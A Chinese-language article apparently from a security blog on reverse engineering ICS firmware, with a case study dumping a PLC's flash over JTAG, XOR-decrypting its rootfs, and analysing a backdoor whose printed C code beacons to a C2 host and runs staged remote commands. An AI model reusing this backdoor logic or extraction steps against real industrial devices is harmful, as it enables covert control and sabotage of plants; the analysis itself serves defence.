固件是什么
固件(Firmware)是一种特殊的软件程序,它被永久或半永久地存储在硬件设备的只读存储器(ROM)、闪存(Flash Memory)或其他非易失性存储器中。固件处于硬件和软件之间的特殊位置,为硬件设备提供底层控制和基本功能。
固件在工业控制系统中扮演着关键角色,例如:
- PLC(可编程逻辑控制器)固件:控制生产线的自动化流程,直接驱动机械臂、传送带等设备
- RTU(远程终端单元)固件:在SCADA系统中负责采集现场数据并执行远程指令
- 工业交换机固件:保障工控网络实时性,支持EtherCAT、Profinet等工业协议
本文将通过一个PLC固件分析案例,展示工控设备逆向的完整技术路径。
固件逆向的基本流程
获取固件
- 官网直接下载:部分厂商在技术支持页面提供固件更新包
- 从设备中提取:工控设备常留有调试接口,通过JTAG/SWD可直接读取Flash内容
- OTA更新捕获:拦截设备更新请求获取固件
- 从备份恢复文件提取:部分PLC编程软件会在本地缓存固件文件
初步分析固件包
工控固件常见格式包括:
.BIN:原始二进制镜像.PRG:厂商自定义打包格式.FW:加密固件包.SWU:采用SWUpdate机制
解包与提取
- 未加密固件:使用
binwalk直接提取,常包含u-boot、kernel和rootfs - 加密固件:需先通过逆向升级程序或内存dump获取解密算法
- JFFS2/UBIFS:使用
jefferson或ubi_reader提取 - 自定义格式:分析头部结构,编写专用解析脚本
核心分析
工控固件多采用ARM或MIPS架构,重点关注:
- 网络服务组件(如modbus/tcp实现)
- 认证机制
- 固件升级逻辑
- 硬编码凭据
实战案例:PLC后门植入分析
背景
某制造企业在安全审计中发现,厂区内一台西门子S7系列PLC存在异常网络行为。该设备在非工作时间频繁向公网IP发起连接。获取固件后需要确认是否存在恶意代码注入。
分析目标:提取恶意模块C2信息,分析指令执行机制
环境准备
- Kali Linux物理机(带JTAG调试器)
- OpenOCD + GDB调试环境
- IDA Pro + MIPS插件
- Wireshark(分析S7Comm协议)
分析过程
固件提取
由于该型号PLC未公开固件下载,采用JTAG接口提取。识别出调试接口为标准的ARM JTAG 20针接口,使用J-Link连接器配合OpenOCD读取外部Flash。
openocd -f interface/jlink.cfg -f target/arm926ejs.cfg
通过GDB连接到OpenCD服务器,dump整个Flash空间(128MB):
(gdb) dump binary memory plc_fw.bin 0x0 0x8000000
提取后文件显示为U-Boot引导的Linux系统。
解密处理
binwalk分析发现rootfs被LZMA压缩后,又经过XOR加密。固件升级程序fwupgrade中硬编码了密钥0xA7B3C9D1。编写Python脚本解密:
key = 0xA7B3C9D1
with open('encrypted.fs', 'rb') as f:
data = bytearray(f.read())
for i in range(len(data)):
data[i] ^= (key >> (i % 4 * 8)) & 0xFF
解密后成功提取出SquashFS文件系统。
恶意模块定位
在/usr/bin目录下发现runtime_check程序,该文件创建时间为2023-02-15,与其他系统文件不一致。通过strings命令发现包含backdoor_init字符串。
IDA Pro加载后发现该程序会hook合法的modbus_server进程,通过LD_PRELOAD注入恶意代码。
后门行为分析
在backdoor_init函数中发现以下核心逻辑:
void backdoor_init() {
char* c2_server = "plc-update.iot-msft-cloud.com";
int c2_port = 587;
char device_id[32];
// 从PLC序列号生成唯一ID
get_device_serial(device_id);
// 建立加密连接
int sock = tls_connect(c2_server, c2_port);
// 发送心跳包
while(1) {
send_encrypted_heartbeat(sock, device_id);
sleep(3600); // 每小时一次
// 检查控制指令
char* cmd = recv_encrypted_cmd(sock);
if(cmd && strstr(cmd, "STAGE_")) {
execute_staged_payload(cmd);
}
}
}
恶意代码采用TLS加密通信,心跳间隔1小时,有效规避传统IDS检测。C2使用587端口(通常用于邮件提交),伪装成正常SMTP流量。
进一步分析execute_staged_payload函数,发现支持三种指令:
STAGE_RECON:收集PLC配置信息STAGE_RUPDATE:远程固件更新(植入持久化代码)STAGE_EXEC:执行任意系统命令
动态调试验证
使用QEMU用户模式模拟运行恶意程序,配合GDBServer进行调试。设置断点在tls_connect函数,确认连接行为。通过Wireshark抓包看到TLS握手后的加密流量,验证了静态分析结论。
工控固件安全防护思考
工业控制系统固件安全关乎生产安全乃至人身安全,防护策略必须更加严格。
信任链构建:从BootROM开始,逐级验证签名,确保每一阶段代码的合法性。私钥应存放在HSM中,避免泄露。
内存保护:启用ARM TrustZone或MPU(内存保护单元),将关键进程隔离在安全世界,防止LD_PRELOAD等注入攻击。
通信加固:工控协议如Modbus、S7Comm应增加应用层认证与加密,避免明文传输。所有对外连接需经防火墙严格限制。
代码虚拟化:将协议栈核心函数、认证逻辑编译为虚拟机字节码。逆向者面对的是自定义指令集,无法直接使用标准工具分析,大幅提升了逆向门槛。
动态混淆:在关键路径插入运行时解密的代码块,每次执行时密钥不同,使得内存dump也无法获取完整逻辑。配合看门狗机制,检测到调试器附加时触发设备自锁。
工控安全无小事,一次成功的攻击可能导致生产线瘫痪甚至物理损毁。作为安全研究者,必须深入理解设备工作原理;作为厂商,应将安全设计融入开发生命周期。攻防之道,在于知己知彼。